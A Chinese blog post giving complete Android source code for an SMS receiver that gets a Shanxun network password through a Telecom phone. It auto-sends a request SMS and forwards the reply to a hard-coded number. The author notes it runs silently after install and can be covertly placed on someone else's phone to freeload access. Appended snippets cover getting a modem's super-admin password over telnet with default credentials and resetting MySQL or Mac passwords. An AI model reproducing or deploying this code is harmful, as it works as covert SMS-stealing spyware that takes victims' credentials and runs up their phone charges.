非电信手机获取闪讯密码的一种实现方法

打开SMS_1017.exe,输入手机串号,手机串号可以在手机主界面输入*#06#会告诉你的,是MEID 下面的,然后它会告诉你要发的短信“MM|..........",然后发到1065930051就好了。

我的思路是用android手机的监听器机制,接收到自己的“移动”手机号码,就向1065930051发送短信“MM|..........";监听到1065930051的电信手机,就向自己的“移动”手机号码发送1065930051的短信内容。

如下是我的实现代码:
我用了监听器模式,也就是说只要安装了软件就可以回复短信,再也不用担心手机把软件进程结束掉了(手机重启以后也不需要打开软件,照样可以正常工作)。当然也可以悄悄装在别人手机上,偷偷蹭网,怎么用我不负责。

//SMSReceiver.java
package smsbc.jason.nbu;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.gsm.SmsMessage;
import android.telephony.gsm.SmsManager;
import android.widget.Toast;

public class SMSReceiver extends BroadcastReceiver{
    public SMSReceiver(){
        System.out.println("SMSReceiver");
    }
    @Override
        public void onReceive(Context context, Intent intent) {
            // 判断接收到的广播是否为收到短信的Broadcast Action
            if ("android.provider.Telephony.SMS_RECEIVED".equals(intent.getAction())) {
                System.out.println("receive message");
                Bundle bundle = intent.getExtras();
                Object myOBJpdus[] = (Object[])bundle.get("pdus");
                SmsMessage message[] = new SmsMessage[myOBJpdus.length];
                System.out.println("消息条数:" + message.length);
                for (int i = 0; i < myOBJpdus.length; i++) {
                    message[i] = SmsMessage.createFromPdu((byte[]) myOBJpdus[i]);
                    String address = message[i].getDisplayOriginatingAddress();
                    String body = message[i].getDisplayMessageBody();
                    System.out.println(address);
                    System.out.println(body);
                    if (address.equals("159****2540")) {
                        System.out.println("111: 来信地址为159****2540,已向1065930051发送短信。");
                        String CTaddress = "1065930051";
                        String CTbody = "MM|0000000000000000";//计算得到的串号
                        SmsManager smsManager = SmsManager.getDefault();
                        PendingIntent mPI = PendingIntent.getBroadcast(context, 0, new Intent(), 0);
                        smsManager.sendTextMessage(CTaddress, null, CTbody, mPI, null);
                        System.out.println("来信地址为159****2540,已向1065930051发送短信。");
                    }
                    if (address.equals("1065930051")) {
                        System.out.println("111: 来信地址为1065930051,已向159****2540发送短信。");
                        String MYaddress = "159****2540";
                        SmsManager smsManager = SmsManager.getDefault();
                        PendingIntent mPI = PendingIntent.getBroadcast(context, 0, new Intent(), 0);
                        smsManager.sendTextMessage(MYaddress, null, body, mPI, null);
                        System.out.println("来信地址为1065930051,已向159****2540发送短信。");
                    }
                    Toast.makeText(context, "短信发送完成", Toast.LENGTH_LONG).show();
                }
            }
    }
}
//SmsBroadcastActivity.java
package smsbc.jason.nbu;
import smsbc.jason.nbu.SMSReceiver;
import android.app.Activity;
import android.os.Bundle;

public class SmsBroadcastActivity extends Activity {
    /** Called when the activity is first created. */
private SMSReceiver smsReceiver = null;
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        smsReceiver = new SMSReceiver();//启动完,可以直接关掉
    }
}
//AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="smsbc.jason.nbu"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk android:minSdkVersion="10" />

    <application
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name" >
        <activity
            android:name=".SmsBroadcastActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <receiver android:name=".SMSReceiver" android:process=":remote" >
            <intent-filter>
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
                <!-- <action android:name="android.intent.action.BOOT_COMPLETED"> -->
             </intent-filter>
        </receiver>
    </application>

    <uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.WRITE_SMS"/>
</manifest>

  

时间: 2024-11-03 04:00:59

非电信手机获取闪讯密码的一种实现方法的相关文章

iOS Mac忘记登录密码的4种解决方法

4种方法: 一.使用Apple ID重置用户账户密码 使用这个方法有一个前提 如上图红框,此项必须勾选,否则无法使用Apple ID重置密码.(如果你不记得有没有勾选,则你起码要记得首次启动 OS X 或装有 OS X Lion 或更高版本的全新 Mac 时,你会进入“OS X 设置助理”,其中需要你输入 Apple ID.输入 Apple ID 后,请在“创建您的帐户”阶段选择“允许我的 Apple ID 重设此用户的密码”选项.) 好了,来说下具体实现的方法: 如果您在登录窗口错误输入帐户密

Mysql数据库修改root密码的几种实用方法

操作系统环境:CentOS6.6 数据库:Mysql 方法1: 用SET PASSWORD命令 [[email protected] ~]#mysql -u  root-p mysql> SET PASSWORD FOR 'root'@'localhost' = PASSWORD('设置新密码'); 方法2:用mysqladmin [[email protected] ~]#mysqladmin  -u  root password "设置新密码"   //首次,设置mysql数

linux下忘记mysql密码的几种找回方法

今天我们主要是讲一下关于linux忘记mysql密码处理方法,下面提供了5种linux忘记mysql密码找回方法哦.方法一(先进入root权限):# /etc/init.d/mysql stop# mysqld_safe --user=mysql --skip-grant-tables --skip-networking &# mysql -u rootmysql> update user set password=password("newpassword") wher

Map获取键值,Map的几种遍历方法

Map 类提供了一个称为entrySet()的方法,这个方法返回一个Map.Entry实例化后的对象集.接着,Map.Entry类提供了一个 getKey()方法和一个getValue()方法,Map.Entry同时也提供了一个setValue()方法,程序员可以使用它修改map里面的值. 法一: Map<String, String> map = new HashMap(); for (Map.Entry entry : map.entrySet()) { Object key = entr

Linux下修改Mysql密码的三种方式,测试过效果,能正常使用

个人分类: mysql修改密码linux修改mysql密码软件编程 有时我们会忘记Mysql的密码,或者想改一个密码,以下将对这两种情况修改密码的三种解决方法做个总结 本文都以用户为 root 为例: 一.拥有原来的myql的root的密码: 方法一: 在mysql系统外,使用mysqladmin mysqladmin -u root -p password "test123"Enter password: [输入原来的密码]方法二: 通过登录mysql系统, mysql -uroot

电信光猫-华为HG8245C获取超级管理员密码

网上搜索得到该光猫默认超级用户名:telecomadmin 超级密码:nE7jA%5m 试过以后发现是不正确的,应该是本地电信有不同的超级密码. 继续搜索,找到通过telnet获取超级密码的方法. CMD下:(win7需要开启telnet客户端) telnet 192.168.1.1 使用账户:root 密码:admin 登录 输入: shell 进入linux shell界面 然后输入: grep telecomadmin /mnt/jffs2/hw_ctree.xml 显示内容中,usern

android 获取手机里面的WIFI密码

获取手机里面的WIFI密码??刚看到的时候我也没明白这个有什么用,自己的手机不会不知道wifi密码吧,所以到现在我也没用到个这个功能 ,在这里权当记录一下,以备以后再找. 话说怎么获取WIFI密码还得从小米手机说起,记得小米推出了个Wifi密码共享的功能:比如在一个咖啡厅,只要一个人向服务员获取了密码,然后他打开wifi密码共享,那么其他人就可以直接连上wifi,而不需要再向服务员询问密码.但是后来安全什么的东西,最后这项功能好像也就无疾而终了.. 不过我们还是可以看一下小米是怎么实现的: 1.

关于android各种双卡手机获取imei,imsi的处置(mtk,展讯,高通等)

关于android各种双卡手机获取imei,imsi的处理(mtk,展讯,高通等) 目前国内对于双卡智能手机的需求还是很大的,各种复杂的业务会涉及到双卡模块:而android标准的api又不提供对双卡的支持.导致国内双卡模块标准混乱,各个厂商各玩各的.目前我知道的双卡解决方案就有:mtk,展讯,高通,broadcom等. 由于公司业务需要,必须要对双卡手机获取各自的imei,imsi,所以也做了一些研究: 首先是最为应用广泛的mtk平台,国内山寨手机以及一些低端品牌双卡都是做的mtk的双卡解决方

【C#】Winform工具-闪讯下快速分享Wifi(源码)

A.工具简介 最近忙着改论文,但迫于手机没有流量,反复共享电脑wifi的操作已经让我忍无可忍,而“猎豹wifi”“360wifi分享”等工具曾导致电脑多次睡死(可能是台式机的USB网卡兼容性问题).因此抽空写了个便利工具,完全利用windows自带功能实现,主要合并了“命令提示符”的若干指令: 设置windows自带wifi热点: 开启.关闭wifi: 自动关机与取消:(主要是本人喜欢睡前趴床上再玩会手机,又懒得起身关电脑) 以及部分.NET对系统进行管理: 关闭闪讯进程(避免闪讯锁定共享功能)